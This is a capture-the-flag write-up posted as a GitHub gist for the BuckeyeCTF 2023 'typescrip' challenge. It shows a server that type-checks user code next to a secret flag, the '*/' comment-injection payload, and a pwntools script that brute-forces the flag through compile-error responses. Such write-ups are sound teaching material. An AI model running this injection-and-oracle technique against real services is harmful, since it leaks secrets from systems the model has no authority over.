Skip to content

Instantly share code, notes, and snippets.

@ky28059
Last active October 4, 2023 19:13
Show Gist options
  • Save ky28059/a851fdabc90d887a61af81c071f6f0ce to your computer and use it in GitHub Desktop.
Save ky28059/a851fdabc90d887a61af81c071f6f0ce to your computer and use it in GitHub Desktop.

BuckeyeCTF 2023 — typescrip

I like typescript. Do you like typescript?

nc chall.pwnoh.io 13381

We're given a JavaScript server that looks like this:

import { createServer } from "net";
import { Project } from "ts-morph";

const flag = process.env.FLAG ?? "bctf{fake_flag}";

function compile(source) {
    const project = new Project({ useInMemoryFileSystem: true });
    const sourceFile = project.createSourceFile("temp.ts", source);
    const diagnostics = sourceFile.getPreEmitDiagnostics();

    return diagnostics.map(diagnostic => {
        const severity = ["Warning", "Error", "Suggestion", "Message"][diagnostic.getCategory()];
        return `${severity} on line ${diagnostic.getLineNumber()}`;
    });
}

const server = createServer(socket => {
    socket.write("What is your name?\n> ");
    socket.once("data", data => {
        const name = data.toString().trim();
        socket.write(`Hello, ${name}. Give me some code: (end with blank line)\n> `);
        let code = '';
        let done = false;
        socket.on('data', data => {
            if (done) return;
            const line = data.toString().trim();
            if (!line) {
                done = true;
                socket.write('Thinking...\n');

                const today = new Date().toLocaleDateString('en-us');
                const source = `/* TYPE CHECKED FOR ${name} ON ${today}. THE FLAG IS "${flag}". */` + "\n\n" + code;

                const errors = compile(source);

                if (errors.length === 0) {
                    socket.write('Congrats, your code is perfect\n');
                } else {
                    socket.write(errors.join('\n') + '\n');
                }

                socket.destroy();
            }
            if (!done) socket.write('> ');

            code += line + '\n';
        })
    });
});

server.listen(1024);

The server takes in a "name" and some code, then writes and type checks a TypeScript file resembling

/* TYPE CHECKED FOR {name} ON 9/29/2023. THE FLAG IS "bctf{some_flag}". */

// your code here

reporting back any compilation errors. Note that we don't get what the type errors are, just whether they exist (and how many there are, and their line numbers).

The main idea is that we can brute force the flag based on whether compilation errors exist in the code. We can break out of the block comment by setting our "name" to */, and store the flag in a (multiline) string using backticks:

/* TYPE CHECKED FOR */foo(` ON 9/29/2023. THE FLAG IS "bctf{some_flag}". */

`)
function foo(x: ...) {}

Then, type check this string by passing it into the argument to foo(). We can use template literal types to match the flag one character at a time:

image

image

If the code compiles, we know the character is in the flag, and can keep looping over characters until none match.

Here's a quick and inefficient script that does just that:

import pwn

flag = ''
letters = [
    'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
    'X', 'Y', 'Z',
    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w',
    'x', 'y', 'z',
    '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '_', '$', '@',
]

while True:
    for letter in letters:
        conn = pwn.remote('chall.pwnoh.io', 13381)

        print(conn.recvline())
        conn.send(b'*/foo(`\n')

        print(conn.recvline())
        conn.recv()
        conn.send(b'`)\n')

        conn.recv()
        code = 'function foo(x: `${string}bctf{' + flag + letter + '${string}}${string}`) {}\n'
        conn.send(code.encode())

        conn.recv()
        conn.send(b'\n\n\n\n')

        print(conn.recvline())
        res = conn.recvline()
        print(res)
        if res == b'Congrats, your code is perfect\n':
            flag += letter
            print(f'bctf{{{flag}}}')
            break
        else:
            print(letter)

        conn.close()
    else:
        break

print(f'bctf{{{flag}}}')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment